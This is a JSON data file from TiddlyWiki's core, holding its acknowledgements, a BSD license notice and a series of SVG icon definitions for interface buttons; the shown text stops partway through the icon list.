show
hide
hide
yes
{
"tiddlers": {
"$:/Acknowledgements": {
"title": "$:/Acknowledgements",
"text": "TiddlyWiki incorporates code from these fine OpenSource projects:\n\n* [[The Stanford Javascript Crypto Library|http://bitwiseshiftleft.github.io/sjcl/]]\n* [[The Jasmine JavaScript Test Framework|http://pivotal.github.io/jasmine/]]\n* [[Normalize.css by Nicolas Gallagher|http://necolas.github.io/normalize.css/]]\n\nAnd media from these projects:\n\n* World flag icons from [[Wikipedia|http://commons.wikimedia.org/wiki/Category:SVG_flags_by_country]]\n"
},
"$:/core/copyright.txt": {
"title": "$:/core/copyright.txt",
"type": "text/plain",
"text": "TiddlyWiki created by Jeremy Ruston, (jeremy [at] jermolene [dot] com)\n\nCopyright (c) 2004-2007, Jeremy Ruston\nCopyright (c) 2007-2020, UnaMesa Association\nAll rights reserved.\n\nRedistribution and use in source and binary forms, with or without\nmodification, are permitted provided that the following conditions are met:\n\n* Redistributions of source code must retain the above copyright notice, this\n list of conditions and the following disclaimer.\n\n* Redistributions in binary form must reproduce the above copyright notice,\n this list of conditions and the following disclaimer in the documentation\n and/or other materials provided with the distribution.\n\n* Neither the name of the copyright holder nor the names of its\n contributors may be used to endorse or promote products derived from\n this software without specific prior written permission.\n\nTHIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS 'AS IS'\nAND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\nIMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE\nDISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE\nFOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL\nDAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR\nSERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER\nCAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,\nOR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE\nOF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
},
"$:/core/icon": {
"title": "$:/core/icon",
"tags": "$:/tags/Image",
"text": "<svg width=\"22pt\" height=\"22pt\" viewBox=\"0 0 128 128\"><path d=\"M64 0l54.56 32v64L64 128 9.44 96V32L64 0zm21.127 95.408c-3.578-.103-5.15-.094-6.974-3.152l-1.42.042c-1.653-.075-.964-.04-2.067-.097-1.844-.07-1.548-1.86-1.873-2.8-.52-3.202.687-6.43.65-9.632-.014-1.14-1.593-5.17-2.157-6.61-1.768.34-3.546.406-5.34.497-4.134-.01-8.24-.527-12.317-1.183-.8 3.35-3.16 8.036-1.21 11.44 2.37 3.52 4.03 4.495 6.61 4.707 2.572.212 3.16 3.18 2.53 4.242-.55.73-1.52.864-2.346 1.04l-1.65.08c-1.296-.046-2.455-.404-3.61-.955-1.93-1.097-3.925-3.383-5.406-5.024.345.658.55 1.938.24 2.53-.878 1.27-4.665 1.26-6.4.47-1.97-.89-6.73-7.162-7.468-11.86 1.96-3.78 4.812-7.07 6.255-11.186-3.146-2.05-4.83-5.384-4.61-9.16l.08-.44c-3.097.59-1.49.37-4.82.628-10.608-.032-19.935-7.37-14.68-18.774.34-.673.664-1.287 1.243-.994.466.237.4 1.18.166 2.227-3.005 13.627 11.67 13.732 20.69 11.21.89-.25 2.67-1.936 3.905-2.495 2.016-.91 4.205-1.282 6.376-1.55 5.4-.63 11.893 2.276 15.19 2.37 3.3.096 7.99-.805 10.87-.615 2.09.098 4.143.483 6.16 1.03 1.306-6.49 1.4-11.27 4.492-12.38 1.814.293 3.213 2.818 4.25 4.167 2.112-.086 4.12.46 6.115 1.066 3.61-.522 6.642-2.593 9.833-4.203-3.234 2.69-3.673 7.075-3.303 11.127.138 2.103-.444 4.386-1.164 6.54-1.348 3.507-3.95 7.204-6.97 7.014-1.14-.036-1.805-.695-2.653-1.4-.164 1.427-.81 2.7-1.434 3.96-1.44 2.797-5.203 4.03-8.687 7.016-3.484 2.985 1.114 13.65 2.23 15.594 1.114 1.94 4.226 2.652 3.02 4.406-.37.58-.936.785-1.54 1.01l-.82.11zm-40.097-8.85l.553.14c.694-.27 2.09.15 2.83.353-1.363-1.31-3.417-3.24-4.897-4.46-.485-1.47-.278-2.96-.174-4.46l.02-.123c-.582 1.205-1.322 2.376-1.72 3.645-.465 1.71 2.07 3.557 3.052 4.615l.336.3z\" fill-rule=\"evenodd\"/></svg>"
},
"$:/core/images/add-comment": {
"title": "$:/core/images/add-comment",
"tags": "$:/tags/Image",
"text": "<svg width=\"22pt\" height=\"22pt\" class=\"tc-image-add-comment tc-image-button\" viewBox=\"0 0 128 128\"><path fill-rule=\"evenodd\" d=\"M56 56H36a8 8 0 100 16h20v20a8 8 0 1016 0V72h20a8 8 0 100-16H72V36a8 8 0 10-16 0v20zm-12.595 58.362c-6.683 7.659-20.297 12.903-36.006 12.903-2.196 0-4.35-.102-6.451-.3 9.652-3.836 17.356-12.24 21.01-22.874C8.516 94.28 0 79.734 0 63.5 0 33.953 28.206 10 63 10s63 23.953 63 53.5S97.794 117 63 117c-6.841 0-13.428-.926-19.595-2.638z\"/></svg>"
},
"$:/core/images/advanced-search-button": {
"title": "$:/core/images/advanced-search-button",
"tags": "$:/tags/Image",
"text": "<svg width=\"22pt\" height=\"22pt\" class=\"tc-image-advanced-search-button tc-image-button\" viewBox=\"0 0 128 128\"><g fill-rule=\"evenodd\"><path d=\"M74.565 87.985A47.776 47.776 0 0148 96C21.49 96 0 74.51 0 48S21.49 0 48 0s48 21.49 48 48c0 9.854-2.97 19.015-8.062 26.636l34.347 34.347a9.443 9.443 0 010 13.36 9.446 9.446 0 01-13.36 0l-34.36-34.358zM48 80c17.673 0 32-14.327 32-32 0-17.673-14.327-32-32-32-17.673 0-32 14.327-32 32 0 17.673 14.327 32 32 32z\"/><circle cx=\"48\" cy=\"48\" r=\"8\"/><circle cx=\"28\" cy=\"48\" r=\"8\"/><circle cx=\"68\" cy=\"48\" r=\"8\"/></g></svg>"
},
"$:/core/images/auto-height": {
"title": "$:/core/images/auto-height",
"tags": "$:/tags/Image",
"text": "<svg width=\"22pt\" height=\"22pt\" class=\"tc-image-auto-height tc-image-button\" viewBox=\"0 0 128 128\"><path d=\"M67.987 114.356l-.029-14.477a4 4 0 00-2.067-3.494l-15.966-8.813-1.933 7.502H79.9c4.222 0 5.564-5.693 1.786-7.58L49.797 71.572 48.01 79.15h31.982c4.217 0 5.564-5.682 1.795-7.575L49.805 55.517l-1.795 7.575h31.982c4.212 0 5.563-5.67 1.805-7.57l-16.034-8.105 2.195 3.57V35.614l9.214 9.213a4 4 0 105.656-5.656l-16-16a4 4 0 00-5.656 0l-16 16a4 4 0 105.656 5.656l9.13-9.13v15.288a4 4 0 002.195 3.57l16.035 8.106 1.804-7.57H48.01c-4.217 0-5.564 5.682-1.795 7.574l31.982 16.059 1.795-7.575H48.01c-4.222 0-5.564 5.693-1.787 7.579l31.89 15.923 1.787-7.578H47.992c-4.133 0-5.552 5.504-1.933 7.501l15.966 8.813-2.067-3.494.029 14.436-9.159-9.158a4 4 0 00-5.656 5.656l16 16a4 4 0 005.656 0l16-16a4 4 0 10-5.656-5.656l-9.185 9.184zM16 20h96a4 4 0 100-8H16a4 4 0 100 8z\"/></svg>"
},
"$:/core/images/blank": {
"title": "$:/core/images/blank",
"tags": "$:/tags/Image",
"text": "<svg width=\"22pt\" height=\"22pt\" class=\"tc-image-blank tc-image-button\" viewBox=\"0 0 128 128\"/>"
},
"$:/core/images/bold": {
"title": "$:/core/images/bold",
"tags": "$:/tags/Image",
"text": "<svg width=\"22pt\" height=\"22pt\" class=\"tc-image-bold tc-image-button\" viewBox=\"0 0 128 128\"><path fill-rule=\"evenodd\" d=\"M41.146 51.81V21.87h26.353c2.51 0 4.93.21 7.26.628 2.33.418 4.392 1.165 6.185 2.24 1.793 1.076 3.227 2.57 4.302 4.482 1.076 1.913 1.614 4.363 1.614 7.35 0 5.379-1.613 9.263-4.84 11.653-3.227 2.39-7.35 3.586-12.37 3.586H41.146zM13 0v128h62.028a65.45 65.45 0 0016.762-2.151c5.438-1.434 10.278-3.645 14.52-6.633 4.244-2.988 7.62-6.842 10.13-11.563 2.51-4.721 3.764-10.308 3.764-16.762 0-8.008-1.942-14.85-5.826-20.527-3.884-5.677-9.77-9.65-17.658-11.921 5.737-2.75 10.069-6.275 12.997-10.577 2.928-4.303 4.392-9.681 4.392-16.135 0-5.976-.986-10.995-2.958-15.059-1.972-4.063-4.75-7.32-8.336-9.77-3.585-2.45-7.888-4.213-12.907-5.289C84.888.538 79.33 0 73.235 0H13zm28.146 106.129V70.992H71.8c6.095 0 10.995 1.404 14.7 4.212 3.705 2.81 5.558 7.5 5.558 14.073 0 3.347-.568 6.096-1.703 8.247-1.136 2.151-2.66 3.854-4.572 5.11-1.912 1.254-4.123 2.15-6.633 2.688-2.51.538-5.139.807-7.888.807H41.146z\"/></svg>"
},
"$:/core/images/cancel-button": {
"title": "$:/core/images/cancel-button",
"tags": "$:/tags/Image",
"text": "<svg width=\"22pt\" height=\"22pt\" class=\"tc-image-cancel-button tc-image-button\" viewBox=\"0 0 128 128\"><path fill-rule=\"evenodd\" d=\"M64 76.314l-16.97 16.97a7.999 7.999 0 01-11.314 0c-3.118-3.118-3.124-8.19 0-11.313L52.686 65l-16.97-16.97a7.999 7.999 0 010-11.314c3.118-3.118 8.19-3.124 11.313 0L64 53.686l16.97-16.97a7.999 7.999 0 0111.314 0c3.118 3.118 3.124 8.19 0 11.313L75.314 65l16.97 16.97a7.999 7.999 0 010 11.314c-3.118 3.118-8.19 3.124-11.313 0L64 76.314zM64 129c35.346 0 64-28.654 64-64 0-35.346-28.654-64-64-64C28.654 1 0 29.654 0 65c0 35.346 28.654 64 64 64zm0-16c26.51 0 48-21.49 48-48S90.51 17 64 17 16 38.49 16 65s21.49 48 48 48z\"/></svg>"
},
"$:/core/images/chevron-down": {
"title": "$:/core/images/chevron-down",
"tags": "$:/tags/Image",
"text": "<svg width=\"22pt\" height=\"22pt\" class=\"tc-image-chevron-down tc-image-button\" viewBox=\"0 0 128 128\"><g fill-rule=\"evenodd\"><path d=\"M64.053 85.456a7.889 7.889 0 01-5.6-2.316L2.473 27.16a7.92 7.92 0 010-11.196c3.086-3.085 8.105-3.092 11.196 0L64.05 66.344l50.382-50.382a7.92 7.92 0 0111.195 0c3.085 3.086 3.092 8.105 0 11.196l-55.98 55.98a7.892 7.892 0 01-5.595 2.317z\"/><path d=\"M64.053 124.069a7.889 7.889 0 01-5.6-2.316l-55.98-55.98a7.92 7.92 0 010-11.196c3.086-3.085 8.105-3.092 11.196 0l50.382 50.382 50.382-50.382a7.92 7.92 0 0111.195 0c3.085 3.086 3.092 8.104 0 11.196l-55.98 55.98a7.892 7.892 0 01-5.595 2.316z\"/></g></svg>"
},
"$:/core/images/chevron-left": {
"title": "$:/core/images/chevron-left",
"tags": "$:/tags/Image",
"text": "<svg width=\"22pt\" height=\"22pt\" class=\"tc-image-chevron-left tc-image-button\" viewBox=\"0 0 128 128\"><g fill-rule=\"evenodd\"><path d=\"M47.544 64.053c0-2.027.77-4.054 2.316-5.6l55.98-55.98a7.92 7.92 0 0111.196 0c3.085 3.086 3.092 8.105 0 11.196L66.656 64.05l50.382 50.382a7.92 7.92 0 010 11.195c-3.086 3.085-8.105 3.092-11.196 0l-55.98-55.98a7.892 7.892 0 01-2.317-5.595z\"/><path d=\"M8.931 64.053c0-2.027.77-4.054 2.316-5.6l55.98-55.98a7.92 7.92 0 0111.196 0c3.085 3.086 3.092 8.105 0 11.196L28.041 64.05l50.382 50.382a7.92 7.92 0 010 11.195c-3.086 3.085-8.104 3.092-11.196 0l-55.98-55.98a7.892 7.892 0 01-2.316-5.595z\"/></g></svg>"
},
"$:/core/images/chevron-right": {
"title": "$:/core/images/chevron-right",
"tags": "$:/tags/Image",
"text": "<svg width=\"22pt\" height=\"22pt\" class=\"tc-image-chevron-right tc-image-button\" viewBox=\"0 0 128 128\"><g fill-rule=\"evenodd\"><path d=\"M83.456 63.947c0 2.027-.77 4.054-2.316 5.6l-55.98 55.98a7.92 7.92 0 01-11.196 0c-3.085-3.086-3.092-8.105 0-11.196L64.344 63.95 13.963 13.567a7.92 7.92 0 010-11.195c3.086-3.085 8.105-3.092 11.196 0l55.98 55.98a7.892 7.892 0 012.317 5.595z\"/><path d=\"M122.069 63.947c0 2.027-.77 4.054-2.316 5.6l-55.98 55.98a7.92 7.92 0 01-11.196 0c-3.085-3.086-3.092-8.105 0-11.196l50.382-50.382-50.382-50.382a7.92 7.92 0 010-11.195c3.086-3.085 8.104-3.092 11.196 0l55.98 55.98a7.892 7.892 0 012.316 5.595z\"/></g></svg>"
},
"$:/core/images/chevron-up": {
"title": "$:/core/images/chevron-up",
"tags": "$:/tags/Image",
"text": "<svg width=\"22pt\" height=\"22pt\" class=\"tc-image-chevron-up tc-image-button\" viewBox=\"0 0 128 128\"><g fill-rule=\"evenodd\"><path d=\"M63.947 44.544c2.027 0 4.054.77 5.6 2.316l55.98 55.98a7.92 7.92 0 010 11.196c-3.086 3.085-8.105 3.092-11.196 0L63.95 63.656l-50.382 50.382a7.92 7.92 0 01-11.195 0c-3.085-3.086-3.092-8.105 0-11.196l55.98-55.98a7.892 7.892 0 015.595-2.317z\"/><path d=\"M63.947 5.931c2.027 0 4.054.77 5.6 2.316l55.98 55.98a7.92 7.92 0 010 11.196c-3.086 3.085-8.105 3.092-11.196 0L63.95 25.041 13.567 75.423a7.92 7.92 0 01-11.195 0c-3.085-3.086-3.092-8.104 0-11.196l55.98-55.98a7.892 7.892 0 015.595-2.316z\"/></g></svg>"
},
"$:/core/images/clone-button": {
"title": "$:/core/images/clone-button",
"tags": "$:/tags/Image",
"text": "<svg width=\"22pt\" height=\"22pt\" class=\"tc-clone-button tc-image-button\" viewBox=\"0 0 128 128\"><g fill-rule=\"evenodd\"><path d=\"M32.265 96v24.002A7.996 7.996 0 0040.263 128h79.74a7.996 7.996 0 007.997-7.998v-79.74a7.996 7.996 0 00-7.998-7.997H96V48h12.859a2.99 2.99 0 012.994 2.994v57.865a2.99 2.99 0 01-2.994 2.994H50.994A2.99 2.99 0 0148 108.859V96H32.265z\"/><path d=\"M40 56h-7.993C27.588 56 24 52.418 24 48c0-4.41 3.585-8 8.007-8H40v-7.993C40 27.588 43.582 24 48 24c4.41 0 8 3.585 8 8.007V40h7.993C68.412 40 72 43.582 72 48c0 4.41-3.585 8-8.007 8H56v7.993C56 68.412 52.418 72 48 72c-4.41 0-8-3.585-8-8.007V56zM8 0C3.58 0 0 3.588 0 8v80c0 4.419 3.588 8 8 8h80c4.419 0 8-3.588 8-8V8c0-4.419-3.588-8-8-8H8zM19 16A2.997 2.997 0 0016 19.001v57.998A2.997 2.997 0 0019.001 80h57.998A2.997 2.997 0 0080 76.999V19.001A2.997 2.997 0 0076.999 16H19.001z\"/></g></svg>"
},
"$:/core/images/close-all-button": {
"title": "$:/core/images/close-all-button",
"tags": "$:/tags/Image",
"text": "<svg width=\"22pt\" height=\"22pt\" class=\"tc-close-all-button tc-image-button\" viewBox=\"0 0 128 128\"><g fill-rule=\"evenodd\"><path d=\"M28 111.314l-14.144 14.143a8 8 0 01-11.313-11.313L16.686 100 2.543 85.856a8 8 0 0111.313-11.313L28 88.686l14.144-14.143a8 8 0 0111.313 11.313L39.314 100l14.143 14.144a8 8 0 01-11.313 11.313L28 111.314zM28 39.314L13.856 53.457A8 8 0 012.543 42.144L16.686 28 2.543 13.856A8 8 0 0113.856 2.543L28 16.686 42.144 2.543a8 8 0 0111.313 11.313L39.314 28l14.143 14.144a8 8 0 01-11.313 11.313L28 39.314zM100 39.314L85.856 53.457a8 8 0 01-11.313-11.313L88.686 28 74.543 13.856A8 8 0 0185.856 2.543L100 16.686l14.144-14.143a8 8 0 0111.313 11.313L111.314 28l14.143 14.144a8 8 0 01-11.313 11.313L100 39.314zM100 111.314l-14.144 14.143a8 8 0 01-11.313-11.313L88.686 100 74.543 85.856a8 8 0 0111.313-11.313L100 88.686l14.144-14.143a8 8 0 0111.313 11.313L111.314 100l14.143 14.144a8 8 0 01-11.313 11.313L100 111.314z\"/></g></svg>"
},
"$:/core/images/close-button": {
"title": "$:/core/images/close-button",
"tags": "$:/tags/Image",
"text": "<svg width=\"22pt\" height=\"22pt\" class=\"tc-image-close-button tc-image-button\" viewBox=\"0 0 128 128\"><path fill-rule=\"evenodd\" d=\"M65.086 75.41l-50.113 50.113c-3.121 3.121-8.192 3.126-11.316.002-3.118-3.118-3.123-8.19.002-11.316l50.114-50.114L3.659 13.982C.538 10.86.533 5.79 3.657 2.666c3.118-3.118 8.19-3.123 11.316.002l50.113 50.114L115.2 2.668c3.121-3.121 8.192-3.126 11.316-.002 3.118 3.118 3.123 8.19-.002 11.316L76.4 64.095l50.114 50.114c3.121 3.121 3.126 8.192.002 11.316-3.118 3.118-8.19 3.123-11.316-.002L65.086 75.409z\"/></svg>"
},
"$:/core/images/close-others-button": {
"title": "$:/core/images/close-others-button",
"tags": "$:/tags/Image",
"text": "<svg width=\"22pt\" height=\"22pt\" class=\"tc-image-close-others-button tc-image-button\" viewBox=\"0 0 128 128\"><path fill-rule=\"evenodd\" d=\"M64 128c35.346 0 64-28.654 64-64 0-35.346-28.654-64-64-64C28.654 0 0 28.654 0 64c0 35.346 28.654 64 64 64zm0-16c26.51 0 48-21.49 48-48S90.51 16 64 16 16 37.49 16 64s21.49 48 48 48zm0-16c17.673 0 32-14.327 32-32 0-17.673-14.327-32-32-32-17.673 0-32 14.327-32 32 0 17.673 14.327 32 32 32zm0-16c8.837 0 16-7.163 16-16s-7.163-16-16-16-16 7.163-16 16 7.163 16 16 16z\"/></svg>"
},
"$:/core/images/copy-clipboard": {
"title": "$:/core/images/copy-clipboard",
"tags": "$:/tags/Image",
"text": "<svg width=\"22pt\" height=\"22pt\" class=\"tc-image-copy-clipboard tc-image-button\" viewBox=\"0 0 128 128\"><g fill-rule=\"evenodd\"><rect width=\"33\" height=\"8\" x=\"40\" y=\"40\" rx=\"4\"/><rect width=\"17\" height=\"8\" x=\"40\" y=\"82\" rx=\"4\"/><rect width=\"17\" height=\"8\" x=\"40\" y=\"54\" rx=\"4\"/><rect width=\"33\" height=\"8\" x=\"40\" y=\"96\" rx=\"4\"/><rect width=\"12\" height=\"8\" x=\"40\" y=\"68\" rx=\"4\"/><path d=\"M40 16H24c-4.419 0-8 3.59-8 8a8.031 8.031 0 000 .01v95.98a8.03 8.03 0 000 .01c0 4.41 3.581 8 8 8h80a7.975 7.975 0 005.652-2.34 7.958 7.958 0 002.348-5.652v-16.016c0-4.414-3.582-7.992-8-7.992-4.41 0-8 3.578-8 7.992V112H32V32h64v8.008C96 44.422 99.582 48 104 48c4.41 0 8-3.578 8-7.992V23.992a7.963 7.963 0 00-2.343-5.651A7.995 7.995 0 00104.001 16H88c0-4.41-3.585-8-8.007-8H48.007C43.588 8 40 11.582 40 16zm4-1.004A4.001 4.001 0 0148 11h32c2.21 0 4 1.797 4 3.996v4.008A4.001 4.001 0 0180 23H48c-2.21 0-4-1.797-4-3.996v-4.008z\"/><rect width=\"66\" height=\"16\" x=\"62\" y=\"64\" rx=\"8\"/><path d=\"M84.657 82.343l-16-16v11.314l16-16a8 8 0 10-11.314-11.314l-16 16a8 8 0 000 11.314l16 16a8 8 0 1011.314-11.314z\"/></g></svg>"
},
"$:/core/images/delete-button": {
"title": "$:/core/images/delete-button",
"tags": "$:/tags/Image",
"text": "<svg width=\"22pt\" height=\"22pt\" class=\"tc-image-delete-button tc-image-button\" viewBox=\"0 0 128 128\"><g fill-rule=\"evenodd\" transform=\"translate(12)\"><rect width=\"105\" height=\"16\" y=\"11\" rx=\"8\"/><rect width=\"48\" height=\"16\" x=\"28\" rx=\"8\"/><rect width=\"16\" height=\"112\" x=\"8\" y=\"16\" rx=\"8\"/><rect width=\"88\" height=\"16\" x=\"8\" y=\"112\" rx=\"8\"/><rect width=\"16\" height=\"112\" x=\"80\" y=\"16\" rx=\"8\"/><rect width=\"16\" height=\"112\" x=\"56\" y=\"16\" rx=\"8\"/><rect width=\"16\" height=\"112\" x=\"32\" y=\"16\" rx=\"8\"/></g></svg>"
},
"$:/core/images/done-button": {
"title": "$:/core/images/done-button",
"tags": "$:/tags/Image",
"text": "<svg width=\"22pt\" height=\"22pt\" class=\"tc-image-done-button tc-image-button\" viewBox=\"0 0 128 128\"><path fill-rule=\"evenodd\" d=\"M42.26 111.032c-2.051.001-4.103-.78-5.668-2.345L2.662 74.758a8 8 0 01-.005-11.32c3.118-3.117 8.192-3.12 11.32.007l28.278 28.278 72.124-72.124a8.002 8.002 0 0111.314-.001c3.118 3.118 3.124 8.19 0 11.315l-77.78 77.78a7.978 7.978 0 01-5.658 2.343z\"/></svg>"
},
"$:/core/images/down-arrow": {
"title": "$:/core/images/down-arrow",
"tags": "$:/tags/Image",
"text": "<svg width=\"22pt\" height=\"22pt\" class=\"tc-image-down-arrow tc-image-button\" viewBox=\"0 0 128 128\"><path d=\"M64.177 100.069a7.889 7.889 0 01-5.6-2.316l-55.98-55.98a7.92 7.92 0 010-11.196c3.086-3.085 8.105-3.092 11.196 0l50.382 50.382 50.382-50.382a7.92 7.92 0 0111.195 0c3.086 3.086 3.092 8.104 0 11.196l-55.98 55.98a7.892 7.892 0 01-5.595 2.316z\"/></svg>"
},
"$:/core/images/download-button": {
"title": "$:/core/images/download-button",
"tags": "$:/tags/Image",
"text": "<svg width=\"22pt\" height=\"22pt\" class=\"tc-image-download-button tc-image-button\" viewBox=\"0 0 128 128\"><g fill-rule=\"evenodd\"><path d=\"M64 128c35.346 0 64-28.654 64-64 0-35.346-28.654-64-64-64C28.654 0 0 28.654 0 64c0 35.346 28.654 64 64 64zm0-16c26.51 0 48-21.49 48-48S90.51 16 64 16 16 37.49 16 64s21.49 48 48 48z\" class=\"tc-image-download-button-ring\"/><path d=\"M34.35 66.43l26.892 27.205a4.57 4.57 0 006.516 0L94.65 66.43a4.7 4.7 0 000-6.593 4.581 4.581 0 00-3.258-1.365h-8.46c-2.545 0-4.608-2.087-4.608-4.661v-15.15c0-2.575-2.063-4.662-4.608-4.662H55.284c-2.545 0-4.608 2.087-4.608 4.662v15.15c0 2.574-2.063 4.661-4.608 4.661h-8.46c-2.545 0-4.608 2.087-4.608 4.662a4.69 4.69 0 001.35 3.296z\"/></g></svg>"
},
"$:/core/images/edit-button": {
"title": "$:/core/images/edit-button",
"tags": "$:/tags/Image",
"text": "<svg width=\"22pt\" height=\"22pt\" class=\"tc-image-edit-button tc-image-button\" viewBox=\"0 0 128 128\"><g fill-rule=\"evenodd\"><path d=\"M95.627 10.059l-5.656 5.657 11.313 11.313 5.657-5.656-11.314-11.314zm5.657-5.657l1.966-1.966c3.123-3.122 8.194-3.129 11.319-.005 3.117 3.118 3.122 8.192-.005 11.32l-1.966 1.965-11.314-11.314zm-16.97 16.97l-60.25 60.25a8.12 8.12 0 00-.322.342c-.1.087-.198.179-.295.275-5.735 5.735-10.702 22.016-10.702 22.016s16.405-5.09 22.016-10.702c.095-.096.186-.193.272-.292a8.12 8.12 0 00.345-.325l60.25-60.25-11.314-11.313zM35.171 124.19c6.788-.577 13.898-2.272 23.689-5.348 1.825-.573 3.57-1.136 6.336-2.04 16-5.226 21.877-6.807 28.745-7.146 8.358-.413 13.854 2.13 17.58 8.699a4 4 0 006.959-3.946c-5.334-9.406-13.745-13.296-24.933-12.744-7.875.39-14.057 2.052-30.835 7.533-2.739.894-4.46 1.45-6.25 2.012-19.46 6.112-30.77 7.072-39.597 1.747a4 4 0 10-4.132 6.85c6.333 3.82 13.754 5.12 22.438 4.383z\"/></g></svg>"
},
"$:/core/images/erase": {
"title": "$:/core/images/erase",
"tags": "$:/tags/Image",
"text": "<svg width=\"22pt\" height=\"22pt\" class=\"tc-image-erase tc-image-button\" viewBox=\"0 0 128 128\"><path fill-rule=\"evenodd\" d=\"M60.087 127.996l63.015-63.015c6.535-6.535 6.528-17.115-.003-23.646L99.466 17.702c-6.539-6.538-17.117-6.532-23.646-.003L4.898 88.62c-6.535 6.534-6.528 17.115.003 23.646l15.73 15.73h39.456zm-34.95-7.313l-14.324-14.325c-3.267-3.268-3.268-8.564-.008-11.824L46.269 59.07l35.462 35.462-26.15 26.15H25.137z\"/></svg>"
},
"$:/core/images/excise": {
"title": "$:/core/images/excise",
"tags": "$:/tags/Image",
"text": "<svg width=\"22pt\" height=\"22pt\" class=\"tc-image-excise tc-image-button\" viewBox=\"0 0 128 128\"><path fill-rule=\"evenodd\" d=\"M56 107.314l-2.343 2.343a8 8 0 11-11.314-11.314l16-16a8 8 0 0111.314 0l16 16a8 8 0 11-11.314 11.314L72 107.314v14.284c0 3.536-3.582 6.402-8 6.402s-8-2.866-8-6.402v-14.284zM0 40.007C0 35.585 3.59 32 8 32c4.418 0 8 3.588 8 8.007v31.986C16 76.415 12.41 80 8 80c-4.418 0-8-3.588-8-8.007V40.007zm32 0C32 35.585 35.59 32 40 32c4.418 0 8 3.588 8 8.007v31.986C48 76.415 44.41 80 40 80c-4.418 0-8-3.588-8-8.007V40.007zm48 0C80 35.585 83.59 32 88 32c4.418 0 8 3.588 8 8.007v31.986C96 76.415 92.41 80 88 80c-4.418 0-8-3.588-8-8.007V40.007zm-24-32C56 3.585 59.59 0 64 0c4.418 0 8 3.588 8 8.007v31.986C72 44.415 68.41 48 64 48c-4.418 0-8-3.588-8-8.007V8.007zm56 32c0-4.422 3.59-8.007 8-8.007 4.418 0 8 3.588 8 8.007v31.986c0 4.422-3.59 8.007-8 8.007-4.418 0-8-3.588-8-8.007V40.007z\"/></svg>"
},
"$:/core/images/export-button": {
"title": "$:/core/images/export-button",
"tags": "$:/tags/Image",
"text": "<svg width=\"22pt\" height=\"22pt\" class=\"tc-image-export-button tc-image-button\" viewBox=\"0 0 128 128\"><path fill-rule=\"evenodd\" d=\"M8.003 128H119.993a7.984 7.984 0 005.664-2.349v.007A7.975 7.975 0 00128 120V56c0-4.418-3.59-8-8-8-4.418 0-8 3.58-8 8v56H16V56c0-4.418-3.59-8-8-8-4.418 0-8 3.58-8 8v64c0 4.418 3.59 8 8 8h.003zm48.62-100.689l-8.965 8.966c-3.125 3.125-8.195 3.13-11.319.005-3.118-3.118-3.122-8.192.005-11.319L58.962 2.346A7.986 7.986 0 0164.625 0l-.006.002c2.05-.001 4.102.78 5.666 2.344l22.618 22.617c3.124 3.125 3.129 8.195.005 11.319-3.118 3.118-8.192 3.122-11.319-.005l-8.965-8.966v61.256c0 4.411-3.582 8-8 8-4.41 0-8-3.582-8-8V27.311z\"/></svg>"
},
"$:/core/images/file": {
"title": "$:/core/images/file",
"tags": "$:/tags/Image",
"text": "<svg width=\"22pt\" height=\"22pt\" class=\"tc-image-file tc-image-button\" viewBox=\"0 0 128 128\"><path d=\"M111.968 30.5H112V120a8 8 0 01-8 8H24a8 8 0 01-8-8V8a8 8 0 018-8h57v.02a7.978 7.978 0 015.998 2.337l22.627 22.627a7.975 7.975 0 012.343 5.516zM81 8H24v112h80V30.5H89c-4.418 0-8-3.578-8-8V8z\"/><rect width=\"64\" height=\"8\" x=\"32\" y=\"36\" rx=\"4\"/><rect width=\"64\" height=\"8\" x=\"32\" y=\"52\" rx=\"4\"/><rect width=\"64\" height=\"8\" x=\"32\" y=\"68\" rx=\"4\"/><rect width=\"64\" height=\"8\" x=\"32\" y=\"84\" rx=\"4\"/><rect width=\"64\" height=\"8\" x=\"32\" y=\"100\" rx=\"4\"/><rect width=\"40\" height=\"8\" x=\"32\" y=\"20\" rx=\"4\"/></svg>"
},
"$:/core/images/fixed-height": {
"title": "$:/core/images/fixed-height",
"tags": "$:/tags/Image",
"text": "<svg width=\"22pt\" height=\"22pt\" class=\"tc-image-fixed-height tc-image-button\" viewBox=\"0 0 128 128\"><path fill-rule=\"evenodd\" d=\"M60 35.657l-9.172 9.171a4 4 0 11-5.656-5.656l16-16a4 4 0 015.656 0l16 16a4 4 0 01-5.656 5.656L68 35.657v57.686l9.172-9.171a4 4 0 115.656 5.656l-16 16a4 4 0 01-5.656 0l-16-16a4 4 0 115.656-5.656L60 93.343V35.657zM16 116h96a4 4 0 100-8H16a4 4 0 100 8zm0-96h96a4 4 0 100-8H16a4 4 0 100 8z\"/></svg>"
},
"$:/core/images/fold-all-button": {
"title": "$:/core/images/fold-all-button",
"tags": "$:/tags/Image",
"text": "<svg width=\"22pt\" height=\"22pt\" class=\"tc-image-fold-all tc-image-button\" viewBox=\"0 0 128 128\"><g fill-rule=\"evenodd\"><rect width=\"128\" height=\"16\" rx=\"8\"/><rect width=\"128\" height=\"16\" y=\"64\" rx=\"8\"/><path d=\"M64.03 20.004c-2.05 0-4.102.78-5.667 2.344L35.746 44.966c-3.125 3.124-3.13 8.194-.005 11.318 3.118 3.118 8.192 3.122 11.319-.005l16.965-16.965 16.966 16.965c3.124 3.125 8.194 3.13 11.318.005 3.118-3.118 3.122-8.191-.005-11.318L69.687 22.348a7.986 7.986 0 00-5.663-2.346zM64.03 85.002c-2.05-.001-4.102.78-5.667 2.344l-22.617 22.617c-3.125 3.125-3.13 8.195-.005 11.319 3.118 3.118 8.192 3.122 11.319-.005l16.965-16.966 16.966 16.966c3.124 3.125 8.194 3.13 11.318.005 3.118-3.118 3.122-8.192-.005-11.319L69.687 87.346A7.986 7.986 0 0064.024 85z\"/></g></svg>"
},
